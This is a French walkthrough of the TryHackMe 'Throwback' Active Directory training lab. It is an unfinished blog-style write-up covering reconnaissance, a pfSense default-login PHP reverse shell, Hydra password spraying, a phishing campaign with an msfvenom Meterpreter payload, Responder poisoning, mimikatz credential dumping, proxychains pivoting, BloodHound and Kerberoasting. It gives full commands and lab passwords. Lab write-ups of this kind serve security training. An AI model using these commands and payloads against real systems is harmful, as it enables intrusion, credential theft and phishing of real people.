Throwback-1.png

Throwback est un lab Active Directory proposé par TryHackMe. L’objectif est de compromettre des serveurs exposés sur Internet avant de pivoter dans le réseau interne de l’entreprise et attaquer l’infrastructure AD.

Trois serveurs sont exposés sur Internet: un serveur web de production, un serveur de messagerie et un pare-feu:

Throwback-2.png

Reconnaissance

Serveur de production

2 ports ouverts: SSH et HTTP

Throwback-3.png

Site Web:

Throwback-4.png

On trouveu une liste d’employés:

Throwback-5.png

Employés:

Summers Winters
Jeff Davies 
Hugh Gongo
Rikka Foxx

Et un format d’email:

Throwback-6.png

Email: hello@TBHSecurity.com

Serveur de messagerie

Les ports SSH, HTTP et IMAP sont ouverts:

Throwback-7.png

Serveur Web:

Throwback-8.png

Il s’agit d’un serveur Squirrel:

Throwback-9.png

Parefeu

Les ports SSH, HTTP, HTTPS et DNS sont ouverts:

Throwback-10.png

Serveur Web - Interface de pfSense:

Throwback-11.png

Exploitation

pfSense

On commence par attaquer pfsense. On utilise les credentials par défaut admin::pfsense et on peut se loguer !!!! WTF !!!

Throwback-12.png

pfSense permet d’exécuter des commandes php.

Diagnostics > Command Prompt

Ref: https://docs.netgate.com/pfsense/en/latest/diagnostics/command-prompt.html

On utilise le reverse shell de pentest monkey https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

Enlever les balises php au début et à la fin du shell car pfsense éxécute uniquement les commandes php

Throwback-13.png

Lancer un listener et boom on a un shell

Throwback-14.png

Throwback-15.png

Throwback-16.png

On trouve le mot de passe de Humprew dans le fichier login.log

Throwback-17.png

Webmail Squirrel

On se connecte avec le compte guest et on trouve une liste d’adresse mail

Throwback-18.png

Password spraying

Structure d’une requête d’authentification:

Throwback-19.png

Création des listes:

Throwback-20.png

Utilisation d’Hydra:

hydra -L users.txt -P passwords.txt 10.200.53.232 http-post-form "/src/redirect.php:login_username=^USER^&secretkey=^PASS^:Unknown user or password incorrect"

Throwback-21.png

Obtention de plusiseurs mot de passe :)

Phishing

On va utiliser le compte d’un utilisateur compromis pour lancer une campagne de phishing

On commence par préparer un payload avec Msfvenom, ici un executable windows.

Throwback-22.png

On crée notre listener Meterpreter

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT 53
set LHOST tun0
exploit -j

On envoie le payload a tous les membres présents dans la liste d’adresse en priorité élevée

Throwback-23.png

Et hop un shell :)

Throwback-24.png

On vient de compromettre un serveur nommé THROWBACK-WS01

Throwback-25.png

On migre sur un process utilisé par NT AUTHORITY\SYSTEM

Throwback-26.png

Throwback-27.png

Throwback-28.png

LLMNR Poisoning - Responder

responder -I tun0 -dw -v

Throwback-29.png

Récupérer OneRuleToRuleThemAll: https://github.com/NotSoSecure/password_cracking_rules/blob/master/OneRuleToRuleThemAll.rule

On cracke le hash:

hashcat -m 5600 hash /path/to/rockyou.txt -r OneRuleToRuleThemAll.rule --debug-mode=1 --debug-file=matched.rule

Résultat: Throwback317

On peut se connecter à Throwback-PROD en SSH avec ce mot de passe.

Throwback-30.png

Throwback-PROD

On utilise winpeas

Throwback-31.png

Et on trouve les credentials de BlaireJ

Throwback-32.png

DefaultUserName : BlaireJ DefaultPassword : 7eQgx6YzxgG3vC45t5k9

On peut se loguer à SSH en utilisant ces creds

On crée un reverse shell

msfvenom -p windows/meterpreter/reverse_tcp lhost=tun0 lport=443 -f exe -o shell.exe

Throwback-33.png

On upload le shell et on l’execute

Throwback-34.png

Pour pouvoir executer mimikatz on doit migrer sur un autre process utiliser par NT AUTHORITY\SYSTEM

Throwback-35.png

Throwback-36.png

On peut utiliser mimikatz :

load kiwi creds_all

Throwback-37.png

On récupère l’IP de THROWBACK-TIME.throwback.local

Throwback-38.png

Et l’IP du DC

Throwback-39.png

echo "10.200.154.176 timekeep.throwback.local" >> /etc/hosts

Pivot

use post/multi/manage/autoroute

Throwback-40.png

use auxiliary/server/socks_proxy

Throwback-41.png

Modifier le fichier proxychains.conf

sudo nano /etc/proxychains.conf

Throwback-42.png

On peut désormais utiliser proxychains pour accéder au réseau interne:

Throwback-43.png

BloodHound

Download SharpHound.ps1 https://raw.githubusercontent.com/puckiestyle/powershell/master/SharpHound.ps1

L’uploader sur le serveur et exécuter: Invoke-Bloodhound -CollectionMethod All -Domain THROWBACK.local -ZipFileName loot.zip

Throwback-44.png

Récuprérer l’archive:

Throwback-45.png

Installer BloodHound version 3.0.3

https://github.com/BloodHoundAD/BloodHound/releases/download/3.0.3/BloodHound-linux-x64.zip

Uploader les datas

Throwback-46.png

Pour trouver les comptes kerberoastable: MATCH (n:User)WHERE n.hasspn=true RETURN n

Ref: https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/

Throwback-47.png

Kerberoast

On va utiliser GetUserSPNs d’Impacket pour récupérer les hashs kerberoastables

proxychains GetUserSPNs.py -dc-ip 10.200.53.117 THROWBACK.LOCAL/BlaireJ:7eQgx6YzxgG3vC45t5k9 -request

Throwback-48.png

La version installée par défaut dans Kali bug

Utiliser impacket 0.9.19

Download the precompiled package from https://github.com/SecureAuthCorp/impacket/releases/tag/impacket_0_9_19

cd Impacket-0.9.19
pip install . 

Et on recommence

Throwback-49.png

On crack le hash

hashcat -m 13100 -a 0 hash /usr/share/wordlists/rockyou.txt

Throwback-50.png

Résultat: mysql337570

À continuer…

Poursuivez avec :

CC-BY

This work is licensed under a Creative Commons Attribution 4.0 International License.